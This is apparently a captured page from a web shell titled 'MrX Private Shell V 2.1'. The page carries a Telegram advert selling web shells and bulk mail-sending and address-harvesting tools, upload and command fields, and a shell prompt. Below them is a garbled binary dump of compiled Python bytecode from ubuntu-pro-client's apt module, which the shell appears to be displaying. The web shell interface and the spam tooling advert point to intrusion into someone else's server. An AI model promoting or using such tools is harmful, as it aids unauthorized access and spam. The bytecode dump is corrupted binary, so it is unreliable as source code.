__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

~C�gF���2�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	J
r
Jr SSKJ
r
JrJrJrJrJrJr SSKrSSKJr SSKJrJrJrJrJrJrJr SSKJ r  SSK!J"r" Sr#S	r$S
r%Sr&Sr'S
r(Sr)Sr*Sr+Sr,Sr-Sr.Sr/Sr0Sr1Sr2Sr3Sr4Sr5\RlRo\ S5\RlRo\ S5/\RlRo\ S5\RlRo\ S5\RlRo\ S5\RlRo\ S 5/S!.r8/S"Qr9\Rt"5r;\Rx"\Rz"\>55r?\R�"S#S$\R�55rB\"S%S&\C4S'\C4S(\C4/5rDS)rE\ES*\CS+\C4S,j5rFS-rGS.\CS/\\C4S0jrHSuS1\\CS2\\CS3\\
\C\C4S/\C4S4jjrI\
"SS59SuS2\\CS3\\
\C\C4S/\C4S6jj5rJ"S7S85rKS9rLS:rMS;\CS/\\C4S<jrNSvS;\CS=\OS/\\C4S>jjrPSwS3\\
\C\C4S/\C4S?jjrQ\R�"\R�\R�4\95S@\C4SAj5rUSuSB\\CSC\\\CS3\\
\C\C4S/\C4SDjjrVSE\CS/\\R�4SFjrXSE\\CS/\\R�4SGjrYSwSH\R�SI\\CS/\\R�4SJjjr[SK\\CSL\CSM\OSN\CS/\C4
SOjr\SvSK\\CSL\CSM\OSN\CSP\CSQ\OS/\C4SRjjr]SS\CSN\CST\CSK\\CSP\CSU\\CS/S4SVjr^SWr_SXr`SwSS\CSN\CSU\\CSP\\CS/S4
SYjjraSZrbS[rcS\rdS]reS^\CS/\O4S_jrfS/\\D4S`jrgS/\\C4SajrhSS\BR�4Sb\\CSc\\CSd\\BS/S4SejjrjS/\\k4SfjrlS/\\k4SgjrmS/\\R4ShjrnSiroSxSjjrpSk\\CSl\C4SmjrqSk\\CSl\C4SnjrrSk\\C4SojrsSprtSqruSr\\CS/\
\C\\C\\C444SsjrvS/\C4Stjrwg)y�N)�	lru_cache�wraps)�Dict�Iterable�List�
NamedTuple�Optional�Set�Union)�AcquireProgress)�event_logger�
exceptions�gpg�messages�secret_manager�system�util)�ESM_APT_ROOTDIR)�status_cache_filegN@z  # ubuntu-pro-clientzDir::Etc::netrc/zDir::Etc::netrcparts/zDir::State::lists/a�/*
 * Autogenerated by ubuntu-pro-client
 * Do not edit this file directly
 *
 * To change what ubuntu-pro-client sets, use the `pro config set`
 * or the `pro config unset` commands to set/unset either:
 *      global_apt_http_proxy and global_apt_https_proxy
 * for a global apt proxy
 * or
 *      ua_apt_http_proxy and ua_apt_https_proxy
 * for an apt proxy that only applies to Ubuntu Pro related repos.
 */
z$Acquire::http::Proxy "{proxy_url}";
z%Acquire::https::Proxy "{proxy_url}";
z4Acquire::http::Proxy::esm.ubuntu.com "{proxy_url}";
z5Acquire::https::Proxy::esm.ubuntu.com "{proxy_url}";
z/etc/apt/trusted.gpg.d/z/usr/share/keyringsz/usr/lib/apt/methods/httpsz /usr/sbin/update-ca-certificatesz//etc/apt/apt.conf.d/90ubuntu-advantage-aptproxyz*/var/lib/apt/periodic/update-success-stampz/var/lib/dpkg/status)�xenial�bionic�focal�jammyz�# Written by ubuntu-pro-client
Types: deb{deb_src}
URIs: {url}
Suites: {suites}
Components: main
Signed-By: {keyrings_dir}/{keyring_file}
zetc/apt/sources.listzvar/lib/dpkg/statuszetc/apt/apt.conf.dzetc/apt/preferences.dzvar/cache/apt/archives/partialzvar/lib/apt/lists/partial)�files�folders)g�?g@g$@c�0�\rSrSr\"5r\"5rSrg)�
AptProxyScope�c�N)�__name__�
__module__�__qualname__�__firstlineno__�object�GLOBAL�UACLIENT�__static_attributes__r��./usr/lib/python3/dist-packages/uaclient/apt.pyrrcs��
�X�F��x�Hr(r�InstalledAptPackage�name�version�archc�0^�[T5U4Sj5nU$)z*Decorator ensuring apt_pkg is initialized.c�>�[RRS5S:Xa[R"5 T"U0UD6$)N�Dir�)�apt_pkg�config�get�init)�args�kwargs�fs  �r)�new_f�"ensure_apt_pkg_init.<locals>.new_fqs5����>�>���e�$��*��L�L�N��$�!�&�!�!r()r)r8r9s` r)�ensure_apt_pkg_initr;ns"����1�X�"��"��Lr(�a�bc�.�[R"X5$�N)r2�version_compare)r<r=s  r)r@r@|s���"�"�1�(�(r(c��URS5up4[RRS5(dg[R
"5n[R"SSSRX1X$5[RRUS5/[[S9 SSS5 g!,(df   g=f![Ra�n[RS[!U55 UR"S	:Xa�[!UR$5R'5n[(R*"S
U5(a[R,"US9e[(R*"SU5(a[R."US9e[R0"[!U5S
9eSnAf[2R4a [R6"[US9ef=f)z�Validate apt credentials for a PPA.

@param repo_url: private-ppa url path
@param username: PPA login username.
@param password: PPA login password or resource token.

@raises: UbuntuProError for invalid credentials, timeout or unexpected
    errors.
�://z/usr/lib/apt/apt-helperNz
download-filez{}://{}:{}@{}/pool/zapt-helper-output)�timeout�retry_sleepszError running apt-helper: %s�dz401\s+unauthorized|httperror401)�repozconnection timed out��detail)�secondsrF)�split�os�path�exists�tempfile�TemporaryDirectoryr�subp�format�join�APT_HELPER_TIMEOUT�APT_RETRIESr�ProcessExecutionError�LOG�error�str�	exit_code�stderr�lower�re�search�APTInvalidCredentials�
APTTimeout�APTUnexpectedError�
subprocess�TimeoutExpired�APTCommandTimeout)�repo_url�username�password�protocol�	repo_path�tmpd�erZs        r)�assert_valid_apt_credentialsrk�s_��#�.�.��/��H�
�7�7�>�>�3�4�4��
�
�
(�
(�
*�d��K�K�-�#�)�0�0� �H���G�G�L�L��':�;�
�+�(�
�+�
*�
*���+�+�;��	�	�0�#�a�&�9��;�;�#������]�(�(�*�F��y�y�;�V�D�D� �6�6�H�E�E����2�F�;�;� �+�+��:�:��+�+�3�q�6�:�:���$�$�
��*�*�&�Y�
�	
�
�s7�B:�AB)� B:�)
B7�3B:�7B:�:G�CF�1G�	apt_error�returnc�*�[5nUR5RS5HenU(dM[R"SU5nU(dM,SUR5SRS5S-nUR
U5 Mg U$)aParse apt update errors for invalid apt config in user machine.

This functions parses apt update errors regarding the presence of
invalid apt config in the system, for example, a ppa that cannot be
reached, for example.

In that scenario, apt will output a message in the following formats:

The repository 'ppa 404 Release' ...
Failed to fetch ppa 404 ...

On some releases, both of these errors will be present in the apt error
message.

:param apt_error: The apt error string
:return: a NamedMessage containing the error message
�
z2(Failed to fetch |The repository .)(?P<url>[^\s]+)z- �urlz/distsr)�set�striprJr\r]�	groupdict�add)rl�failed_repos�line�
pattern_match�repo_url_matchs     r)�(_parse_apt_update_for_invalid_apt_configry�s���(�5�L����!�'�'��-���4��I�I�E�t��M��}��=�2�2�4�U�;�A�A�(�K�A�N�N��� � ��0�.��r(�cmd�	error_msg�override_env_varsc�
�[R"US[US9up4U$![Ra�n[
R
S[U5[U55 S[UR5;a[R"5e[UR5nU(a,[R"SR[U55S9eU(aUO
[U5n[R"US9eSnAff=f)	a�Run an apt command, retrying upon failure APT_RETRIES times.

:param cmd: List containing the apt command to run, passed to subp.
:param error_msg: The string to raise as UbuntuProError when all retries
   are exhausted in failure.
:param override_env_vars: Passed directly as subp's override_env_vars arg

:return: stdout from successful run of the apt command.
:raise UbuntuProError: on issues running apt-cache policy.
T)�capturerDr|z Error running apt command %s: %sz%Could not get lock /var/lib/dpkg/lockro)rurGN)rrPrTrrUrVrWrXrZ�APTProcessConflictErrorry�APTInvalidRepoErrorrR�sortedr`)rzr{r|�out�_errrjru�msgs        r)�run_apt_commandr��s���8��K�K���$�/�	
�	��0�J��%�+�+�8��	�	�4�c�#�h��A��G�2�c�!�(�(�m�C��4�4�6�6�
�
D�A�H�H�M�L�� �4�4�!%���6�,�+?�!@���%�i�#�a�&���+�+�3�7�7��#8�s�!�D�CC=�=D)�maxsizec��[SS/UUS9$)N�	apt-cache�policy)rzr{r|)r�)r{r|s  r)�get_apt_cache_policyr��s��
�
�(�#��+��r(c�&�\rSrSrSrSrSrSrg)�PreserveAptCfgic��Xl0Ulgr?��apt_func�current_apt_cfg)�selfr�s  r)�__init__�PreserveAptCfg.__init__	s�� �
�!��r(c	���[RnUR5Vs0sH(o"[R"URU55_M* snUlUR5$s snfr?)r2r3�keys�copy�deepcopyr4r�r�)r��cfg�keys   r)�	__enter__�PreserveAptCfg.__enter__
sT���n�n��8;���
� 
�8B�����s�w�w�s�|�,�,�
� 
����}�}����	 
s�/A*c���[RnURR5H!nUR	XPRU5 M# [R
"5 gr?)r2r3r�r�rq�init_system)r��type�value�	tracebackr�r�s      r)�__exit__�PreserveAptCfg.__exit__sI���n�n���'�'�,�,�.�C��G�G�C�-�-�c�2�3�/����r(r�N)r r!r"r#r�r�r�r'rr(r)r�r�s��"��r(r�c���[RR5H"n[RRU5 M$ [R"5 [R
"S5$r?)r2r3r��clearr5�Cache�r�s r)�get_apt_pkg_cacher�sC���~�~�"�"�$�������S�!�%��L�L�N��=�=���r(c��[5 [RR5H@n[R
"SU5(aM![RR
U5 MB [RRS[5 [R"5 [R"S5$![a 0s$f=f)Nz^Acquirer0)�_ensure_esm_cache_structurer2r3r�r\r]r�rqrr5r��	Exceptionr�s r)�get_esm_apt_pkg_cacher�&s����	$�%��>�>�&�&�(�C��9�9�Z��-�-����$�$�S�)�)�	�����5�/�2������}�}�T�"�"�����	��s�AB=�A1B=�=C�C�pkg_namec���[[5nXnSSS5 WR(aURR$g![a SSS5 gf=f!,(df   NN=fr?)r�r��KeyError�current_ver�ver_str)r��cache�packages   r)�get_pkg_versionr�>sc��	�)�	*�e�	��o�G�
+�����"�"�*�*�*���
�	��	
+�	*�	��
+�	*�s(�A�A�
A�A�A�A�
A-�check_esm_cachec��[[5nX n[R"U5nURU5nU(d
SSS5 gURnSSS5 U(dW$[[5nU(apXpn[R"U5n	U	RU5n
U
(dWsSSS5 $U
Rn[R"UW5S:�aUsSSS5 $SSS5 W$![a SSS5 gf=f!,(df   N�=f![a WssSSS5 $f=f!,(df   W$=f)Nr)	r�r�r�r2�DepCache�get_candidate_verr�r�r@)r�r�r�r��	dep_cache�	candidate�candidate_version�	esm_cache�esm_package�
esm_dep_cache�
esm_candidate�esm_candidate_versions            r)�get_pkg_candidate_versionr�KsO��
�)�	*�e�	��o�G��$�$�U�+�	��/�/��8�	���
+�	*�&�-�-��
+�� � �	�-�	.�)��
)�'�1��$�,�,�Y�7�M�)�;�;�K�H�M� �(�
/�	.�%2�$9�$9�!��'�'�)�+<����
-�)
/�	.�	.�,���G�	��	
+�	*�	��
+�	*��(�
)�(�(�
/�	.�
)��	
/�	.�,��si�D�C<�/D�D�:E�D%�/E�(E�<
D�D�D�D�
D"�%D=�1E�<D=�=E�
Ec���[SS/US9n[R5 U$![Ra9n[R	S[U55 [R"5eSnAf[Ra#n[R"URS9eSnAf[Ra#n[R"URS9eSnAff=f![R5 f=f)N�apt-get�update�rzr|z Error running apt-get update: %s��repo_msgrG)r�rrrVrWrX�APTUpdateProcessConflictErrorr��APTUpdateInvalidRepoErrorr��UbuntuProError�APTUpdateFailedr��cache_clear)r|r�rjs   r)�run_apt_update_commandr�ws���+���H�%�9J�
��	�(�(�*��J���-�-�9��	�	�4�c�!�f�=��6�6�8�8���)�)�C��2�2�A�E�E�B�B���$�$�7��(�(����6�6��7��	�(�(�*�s8�%�C�4A-�-C�B"�"C�9C�C�C�C5�sources_list_pathc��[[5n[RR	S[
RRU55 [RR	SS5 [RR	SS5 [R"5nUR5 [5n[
RR[RRS5S5n[R"U5nU URX2S5 SSS5 [.R15 SSS5 g!,(df   N,=f![[S	S
5a9n[ R#S[%U55 [&R("5eSnAf[*a"n[&R,"[%U5S9eSnAff=f![.R15 f=f!,(df   g=f)
NzDir::Etc::sourcelistzDir::Etc::sourcepartszN.O.F.O.L.D.E.RzAPT::List-Cleanup�0zDir::State::Lists�lockr�ErrorrzError updating apt cache: %srG)r�r�r2r3rqrKrL�abspath�
SourceList�read_main_listrrR�find_dir�FileLockr��getattrrVrWrXrr�SystemErrorr�r�r�)r�r��sources_list�fetch_progress�	lock_filer�rjs       r)�update_sources_listr��sm��

�)�	*�e������"�B�G�G�O�O�4E�$F�	
�	�����2�4E�F������.��4��)�)�+���#�#�%�)�*���G�G�L�L��N�N�#�#�$7�8�&�
�	����	�*��
	/�����^�1�=��
!�,�,�.�E
+�	*�2����w���,�	7��I�I�4�c�!�f�=��4�4�6�6���	<��,�,�C��F�;�;��	<��
!�,�,�.��E
+�	*�sl�DG1�E�E�&E�.G1�
E	�E�G�E�G�24F&�&
G�3G�G�G�G.�.G1�1
G?�packages�apt_optionsc�&�Uc/n[/SQU-U-US9nU$![Ra, [R	SU5 [R
"5e[Ra#n[R"URS9eSnAff=f)N)r��install�--assume-yesr�z)Error running apt install for packages %sr�)	r�rrrVrW�APTInstallProcessConflictErrorr��APTInstallInvalidRepoErrorr�)r�r�r|r�rjs     r)�run_apt_install_commandr��s���
����D��6�����0�	
���J��
�-�-�:��	�	�=�x�H��7�7�9�9��)�)�D��3�3�Q�U�U�C�C��D�s��AB�-B�B�originc�>�[5n[[5nURHPnURnU(dMUR
H(upVURU:XdMURU5 M* MR SSS5 [U5$!,(df   N=fr?)	rqr�r�r�r��	file_listr�rt�list)r��resultr�r��installed_version�file�_s       r)� get_installed_packages_by_originr��sz���U�F�	�)�	*�e��~�~�G� '� 3� 3�� � �0�:�:�G�D��{�{�f�,��
�
�7�+� ;�&�
+���<��
+�	*�s�!B�B�"B�
Bc��Uc/$[5n[[5n[R"U5nUR
HqnURnU(dMURU5nU(dM2Xe:wdM9URH(upxURU:XdMURU5 M* Ms SSS5 [U5$!,(df   N=fr?)rqr�r�r2r�r�r�r�r�r�rtr�)	r�r�r�r�r�r�r�r�r�s	         r)�;get_installed_packages_with_uninstalled_candidate_in_originr��s����~��	��U�F�	�)�	*�e��$�$�U�+�	��~�~�G� '� 3� 3�� � �%�7�7��@�	��9��!?�#,�#6�#6����;�;�&�0�"�J�J�w�/�$7�&�
+���<��
+�	*�s#�7C
�C
�4C
�;C
�C
�

Cr��exclude_originc��/nURHanURVVs/sH+upEURS:wdMURU:wdM)UPM- nnnU(dMPUR	U5 Mc U$s snnf)N�now)�version_listr��	componentr��append)r�r��valid_versionsr,r�r��
valid_originss       r)�get_remote_versions_for_packager��s����N��'�'��#�,�,�
�,����~�~��&�
�
,0�;�;�.�+H�
�,�	�
��=��!�!�'�*�(����
s�A6�A6�
A6�suites�series�updates_enabledrdc��SnUHEnX;aM
SnSU;a U(d[RSUU5 SnUSRXcUS9-
nMG U$)Nr1�-updatesz?Not enabling apt suite "%s" because "%s-updates" is not enabledz# zC{maybe_comment}deb {url} {suite} main
# deb-src {url} {suite} main
)�
maybe_commentrp�suite)rV�warningrQ)r�r�r�rd�contentr�r�s       r)�_get_list_file_contentr	ss���G�������
������K�K����	
�!�M��
-�-3�V�+��.4�.�	
���&�Nr(�keyring_file�include_deb_srcc�$�UVs/sHoaU;dM
UPM nnU(d0[RSU5 UVs/sH
nSU;dMUPM nnU(aSOSn[RUSR	U5[
UUS9n	U	$s snfs snf)NzPNot enabling service-related -updates suites because "%s-updates" is not enabledr�z deb-srcr1� )rpr��keyrings_dirr�deb_src)rVr�DEB822_REPO_FILE_CONTENTrQrR�KEYRINGS_DIR)
r�r�r�rdrrr��appliable_suitesrrs
          r)�_get_sources_file_contentr#s���,2�E�6�%�u�_��6��E�����
+��	
� 0�
�/�e�:�U�3J�E�/�	�
�,�j��G�&�-�-���x�x�(�)�!�!��.��G��N��+F��
s�	B�B�
B
�	B
�
repo_filename�credentials�
snapshot_urlsc�.�URS5upg[RR	U5 [
R"5RnURS5(aUSSn[XU5 Sn	[SS/[R5n
U
R5H$nS	RU5U;aMS
U;aM"Sn	 O U/U-Hn[X�U5 M U[ ;ak["R$R'[(U5n
["R$R'[*U5n[,R."X�5 [1X8X�5nO
[3X8X�U5n[
R4"X5 g![a SnUnGN~f=f)z�Add an authenticated apt repo and credentials to the system.

@raises: InvalidAPTCredentialsError when the token provided can't access
    the repo PPA.
�:�bearer�/N���Fr�r�za={}-updatesz	o=Ubuntu,T)rJ�
ValueErrorr�secrets�
add_secretr�get_release_infor��endswithrkr�r�APT_POLICY_FAILED�
splitlinesrQ�add_apt_auth_conf_entry�SERIES_NOT_USING_DEB822rKrLrRr
�APT_KEYS_DIRr�export_gpg_keyrr�
write_file)r
rdrr�rrrerfr�r�r�rvrp�source_keyring_file�destination_keyring_filers                r)�add_auth_apt_repor#Csx���(�.�.�s�3������%�%�h�/�
�
$�
$�
&�
-�
-�F��������C�R�=�� ��X�>��O�
�	�h���!;�!;��F��!�!�#��� � ��(��4���d�"����
�$��z�M�)����x�8�*��(�(� �g�g�l�l�<��F��#%�7�7�<�<��l�#K� ����.�I�(��O�
��,��O�|�
�����m�-��Q�������s�F�F�Fc���[5nSU;aURS5upEOUnURS5(dUS-
n[RRU5(a[R"U5nOSnSRUUU[S9nSn/n	UR5Hqn
U(dVU
R5n[U5S:�a7USnX�:XaU	RU5 S	nMHX�;aU	RU5 S	nU	RU
5 Ms U(dU	RU5 U	RS5 [R"US
RU	5SS9 g
)zBAdd or replace an apt auth line in apt's auth.conf file or conf.d.rBrr1z:machine {repo_path} login {login} password {password}{cmt})rh�loginrf�cmtF��Tro���modeN)�!get_apt_auth_file_from_apt_configrJrrKrLrMr�	load_filerQ�APT_AUTH_COMMENTr�lenr�r rR)
rdr%rf�
apt_auth_file�	_protocolrh�orig_content�repo_auth_line�added_new_auth�	new_linesrv�
split_line�curr_line_repos
             r)rr}sU��5�7�M����'�~�~�e�4��	�9��	����c�"�"��S��	�	�w�w�~�~�m�$�$��'�'�
�6����	������ �	�
���N��I��'�'�)�������J��:��!�#�!+�A���!�.��$�$�^�4�%)�N��!�.��$�$�^�4�%)�N������*� �����(�
���R��
���m�T�Y�Y�y�%9��Fr(c��SU;aURS5upOUnURS5(aUSSn[5n[RRU5(a�[R"U5nSRUS9nSRUR5Vs/sHoeU;dM
UPM sn5nU(d[R"U5 g[R"X7SS	9 ggs snf)
z+Remove a repo from the shared apt auth filerBrNrzmachine {repo_path}/ login)rhror)r*)
rJrr,rKrLrMrr-rQrRr�ensure_file_absentr )rdr1rhr0�apt_auth�auth_prefixrvrs        r)�remove_repo_from_apt_auth_filer<�s������'�~�~�e�4��	�9��	����#����c�r�N�	�5�7�M�	�w�w�~�~�m�$�$��#�#�M�2��2�9�9�I�9�N���)�)�&�1�1�3�O�3�d�$�7N�T�3�O�
����%�%�m�4����m�5�A�%��
Ps�(	C7�5C7c�d�[R"U5 URS5(a+[R"[R"US55 U(a:[
RR[U5n[R"U5 U/U-Hn[U5 M g)z>Remove an authenticated apt repo and credentials to the systemz.sourcesr�N)
rr9rr�set_filename_extensionrKrLrRrr<)r
rdrrrps     r)�remove_auth_apt_repor?�s������m�,����j�)�)��!�!��'�'�
�v�>�	
���w�w�|�|�L�,�?���!�!�,�/��z�M�)��&�s�+�*r(c��URS5upEURS5(aUSSnSRX#S9n[R"X5 g)z.Add an apt preferences file and pin for a PPA.rBrNrz<Package: *
Pin: release o={origin}
Pin-Priority: {priority}
)r��priority)rJrrQrr )�apt_preference_filerdr�rAr1rhrs       r)�add_ppa_pinningrC�sV��#�>�>�%�0��I����#����c�r�N�	�	%�%+�V�6�V�%M��
���)�3r(c��[R"SSS[/5upU(aURS5SS-$[R"SSS[/5upURS5SRS5$)z7Return to patch to the system configured APT auth file.�
apt-config�shellr��'r(z90ubuntu-advantager)rrP�APT_CONFIG_AUTH_PARTS_DIRrJ�APT_CONFIG_AUTH_FILE�rstrip)r�r�s  r)r,r,�sz�����	�w��'@�A��I�C���y�y��~�a� �#7�7�7��K�K�
�7�E�+?�@�
�	���y�y��~�a� �'�'��,�,r(c��URS5up#URS5(aUSSnSn[R"SSS[/5upVU(aURS	5S
nURSS5n[
[R"[RRXGSRU5-555$)
zEList any apt files in APT_CONFIG_LISTS_DIR given repo_url and series.rBrNrz/var/lib/apt/listsrErFr�rGr(r�z
_dists_{}*)rJrrrP�APT_CONFIG_LISTS_DIR�replacer��globrKrLrRrQ)rdr�r1rh�	lists_dirr�r��aptlist_filenames        r)�find_apt_list_filesrQ�s���#�>�>�%�0��I����#����c�r�N�	�$�I����	�w��';�<��I�C���I�I�c�N�1�%�	� �(�(��c�2����	�	��G�G�L�L��l�.A�.A�&�.I�I�
�	
��r(c�T�[X5Hn[R"U5 M g)z?Remove any apt list files present for this repo_url and series.N)rQrr9)rdr�rLs   r)�remove_apt_list_filesrSs��#�H�5���!�!�$�'�6r(�pkgc��U[5;$r?)�get_installed_packages_names)rTs r)�is_installedrW
s���.�0�0�0r(c
��/n[[5nURHPnURnU(dMUR	[URURURS95 MR SSS5 U$!,(df   U$=f)N)r+r,r-)	r�r�r�r�r�r*r+r�r-)�	installedr�r�r�s    r)�get_installed_packagesrZs���I�	�)�	*�e��~�~�G� '� 3� 3�� � �� � �'�$�\�\� 1� 9� 9�.�3�3���&�
+���
+�	*���s�!A=�<A=�=
Bc�Z�[5nUVs/sHoRPM nnU$s snfr?)rZr+)�package_listrT�	pkg_namess   r)rVrV!s+��)�+�L�%1�2�\�c���\�I�2����3s�(�
http_proxy�https_proxy�proxy_scopec��U(dU(afU(a_SnU[R:XaSnOU[R:XaSn[R	[
RRUS95 SnU(aUU[R:XaU[RUS9-
nO*U[R:XaU[RUS9-
nU(aUU[R:XaU[RUS9-
nO*U[R:XaU[RUS9-
nUS:wa	[U-nUS:Xa[R"[5 g[R "[U5 g)a�
Writes an apt conf file that configures apt to use the proxies provided as
args.
If both args are None, then no apt conf file is written. If this function
previously wrote a conf file, and was run again with both args as None,
the existing file is removed.

:param http_proxy: the url of the http proxy apt should use, or None
:param https_proxy: the url of the https proxy apt should use, or None
:return: None
r1z	UA-scoped�global)�scope)�	proxy_urlN)rr&r%�event�infor�SETTING_SERVICE_PROXY_SCOPErQ�APT_CONFIG_UA_PROXY_HTTP�APT_CONFIG_GLOBAL_PROXY_HTTP�APT_CONFIG_UA_PROXY_HTTPS�APT_CONFIG_GLOBAL_PROXY_HTTPS�APT_PROXY_CONFIG_HEADERrr9�APT_PROXY_CONF_FILEr )r^r_r`�message�apt_proxy_configs     r)�setup_apt_proxyrp'sm�� �[���G��m�4�4�4�%���
� 4� 4�4�"���J�J��4�4�;�;�'�;�J�
�����-�0�0�0�� 8� ?� ?�$�!@�!�
���M�0�0�
0�� <� C� C�$�!D�!�
����-�0�0�0�� 9� @� @�%�!A�!�
���M�0�0�
0�� =� D� D�%�!E�!�
���2��2�5E�E���2���!�!�"5�6����-�/?�@r(c��Sn[RR[5(a$[R"[5R
nU$r?)rKrLrM�APT_UPDATE_SUCCESS_STAMP_PATH�stat�st_mtime��
cache_times r)�get_apt_cache_timerw_s6���J�	�w�w�~�~�3�4�4��W�W�:�;�D�D�
��r(c��Sn[RR[5(a$[R"[5R
nU$r?)rKrLrM�DPKG_STATUS_PATHrsrt)�status_times r)�get_dpkg_status_timer{fs6���K�	�w�w�~�~�&�'�'��g�g�.�/�8�8���r(c��[5nUcg[RRU[RR5$r?)rw�datetime�
fromtimestamp�timezone�utcrus r)�get_apt_cache_datetimer�ms8��#�%�J�������*�*�:�x�7H�7H�7L�7L�M�Mr(c�^�[R"[RR[S5SS9m[
S[
S-n[
U4SjU55(ag[R"[5 [
SHn[R"U5 M [
SHn[R"USSS9 M g)	Nz**/*T)�	recursiverrc3�,># �UH	oT;v� M g7fr?r)�.0r��existing_filess  �r)�	<genexpr>�._ensure_esm_cache_structure.<locals>.<genexpr>|s����=�}�t�N�"�}�s�i�)�exist_okr+)rNrKrLrRr�ESM_BASIC_FILE_STRUCTURE�allr�ensure_folder_absent�create_file�makedirs)�
desired_filesr��folderr�s   @r)r�r�ts�����Y�Y�
�����_�f�-���N�	!��)�,D�Y�,O�O���=�}�=�>�>������0�)��1�����4� �2�*�9�5��
���F�T��6�6r(c	��[R"5(dg[5 SSKJn SSKJn SSKJnJ	n SnSn[R"5nUcU"U5SnURS/5H[nURSS5S	:XaURS
S5S:HnURSS5S
:XdMFURS
S5S:HnM] U"U5n	U(a2U	R5SUR:XaU	R5 OU	R!5 [R""5(aQU"U5n
U(a2U
R5SUR:XaU
R5 OU
R!5 [%[&5n[(R*"5nUR-5 "SS[.5n
U
"5nUR1X�S5 SSS5 g![2a7n[4R7SR9[;U555 SnANESnAff=f!,(df   g=f)Nr)�status)�ApplicationStatus)�ESMAppsEntitlement�ESMInfraEntitlementF�servicesr+r1zesm-apps�	available�no�yesz	esm-infrac�X�\rSrSrS\R
4SjrS\R
4SjrSrg)�-update_esm_caches.<locals>.EsmAcquireProgressi��itemc�`�[RSRUR55 g)NzFetched ESM Apt Cache item: {})rV�debugrQ�uri�r�r�s  r)�done�2update_esm_caches.<locals>.EsmAcquireProgress.done�s���	�	�:�A�A�$�(�(�K�Lr(c�`�[RSRUR55 g)Nz&Failed to fetch ESM Apt Cache item: {})rVrrQr�r�s  r)�fail�2update_esm_caches.<locals>.EsmAcquireProgress.fail�s �����<�C�C�D�H�H�M�r(rN)	r r!r"r#r2�AcquireItemDescr�r�r'rr(r)�EsmAcquireProgressr��s(��
M��!8�!8�
M�
��!8�!8�
r(r�z%Failed to fetch the ESM Apt Cache: {})r�is_current_series_ltsr��uaclient.actionsr��(uaclient.entitlements.entitlement_statusr��uaclient.entitlements.esmr�r�r�readr4�application_status�DISABLED�setup_local_esm_repo�disable_local_esm_repo�is_current_series_active_esmr�r�r2r�r�rr�r�rVrrQrX)r�r�r�r�r��apps_available�infra_available�current_status�service�apps�infrar�r�r�r�rjs                r)�update_esm_cachesr��s����'�'�)�)���!�'�J��
�N��O�&�+�+�-�N������Q���!�%�%�j�"�5���;�;�v�r�"�j�0�$�[�[��d�;�u�D�N��;�;�v�r�"�k�1�%�k�k�+�t�<��E�O�	6��c�"�D�	��#�#�%�a�(�,=�,F�,F�F��!�!�#��#�#�%��*�*�,�,�#�C�(����(�(�*�1�-�1B�1K�1K�K��&�&�(��(�(�*�
�-�	.�%��)�)�+���#�#�%�	��	�,�-��	P��L�L��q�9�
/�	.�� �	P��K�K�?�F�F�s�1�v�N�O�O��	P��!
/�	.�s0�<H9�G5�5
H6�?-H1�,H9�1H6�6H9�9
I�
package_names�
error_messagec�:�[/SQ[U5-USS0S9 g)ae
Remove APT packages from the system.

Setting DEBIAN_FRONTEND to noninteractive makes sure no prompts will
appear during the operation. In this case, --force-confdef will
automatically pick the default option when some debconf should appear.
In the absence of a default option, --force-confold will automatically
choose to keep the old configuration file.
)r��remover��$-o Dpkg::Options::="--force-confdef"�$-o Dpkg::Options::="--force-confold"�DEBIAN_FRONTEND�noninteractive�r|N�r�r��r�r�s  r)�remove_packagesr���.���	
��}�
�	�	�,�.>�?�r(c�:�[/SQ[U5-USS0S9 g)ax
Purge APT packages from the system - remove everything.

Setting DEBIAN_FRONTEND to noninteractive makes sure no prompts will
appear during the operation. In this case, --force-confdef will
automatically pick the default option when some debconf should appear.
In the absence of a default option, --force-confold will automatically
choose to keep the old configuration file.
)r��purger�r�r�r�r�r�Nr�r�s  r)�purge_packagesr��r�r(c�"�[U/SQSS0S9 g)a
Install packages, allowing downgrades.

The --allow downgrades flag is needed because sometimes we need to
reinstall the packages to a lower version (passed in the package_name
string, as package=version).

Setting DEBIAN_FRONTEND to noninteractive makes sure no prompts will
appear during the operation. In this case, --force-confdef will
automatically pick the default option when some debconf should appear.
In the absence of a default option, --force-confold will automatically
choose to keep the old configuration file.
)z--allow-downgradesr�r�r�r�)r�r|N)r�)r�s r)�reinstall_packagesr��s����
�
-�.>�?�r(c���[RR5H"n[RRU5 M$ [R"5 [R$r?)r2r3r�r��init_configr�s r)�_get_apt_configr�sE���~�~�"�"�$�������S�!�%������>�>�r(c�|�[[5nURU5nSSS5 U$!,(df   W$=fr?)r�r�r�)�base_key�apt_cfg�apt_cfg_keyss   r)�get_apt_config_keysr�!s8��	��	(�G��|�|�H�-��
)���
)�	(���s�,�
;�	cfg_namesc���0n[[5nUHBnURU5n[U5(dUR	U5=(d SnXAU'MD SSS5 U$!,(df   U$=f)z�
Get all APT configuration values for the given config names. If
one of the config names is not present on the APT config, that
config name will have a value of None
N)r�r�r4rX�
value_list)r��apt_cfg_dictr��cfg_name�	cfg_values     r)�get_apt_config_valuesr�(so���L�	��	(�G�!�H����H�-�I��y�>�>�#�.�.�x�8�@�D�	�%.��"�
"�
)���
)�	(���s�A	A%�%
A4c�Z�SnSn[RRU5(aU$U$)Nz/etc/apt/sources.listz&/etc/apt/sources.list.d/ubuntu.sources)rKrLrM)�old_sources_path�new_sources_paths  r)�get_system_sources_filer�>s8��.��?���7�7�>�>�*�+�+�	���r()NN)Fr?)rmN)xr�r}�enumrN�loggingrKr\rarN�	functoolsrr�typingrrrrr	r
rr2�apt.progress.baser�uaclientr
rrrrrr�uaclient.defaultsr�uaclient.files.state_filesrrSr.rIrHrLrlrirkrhrjrr
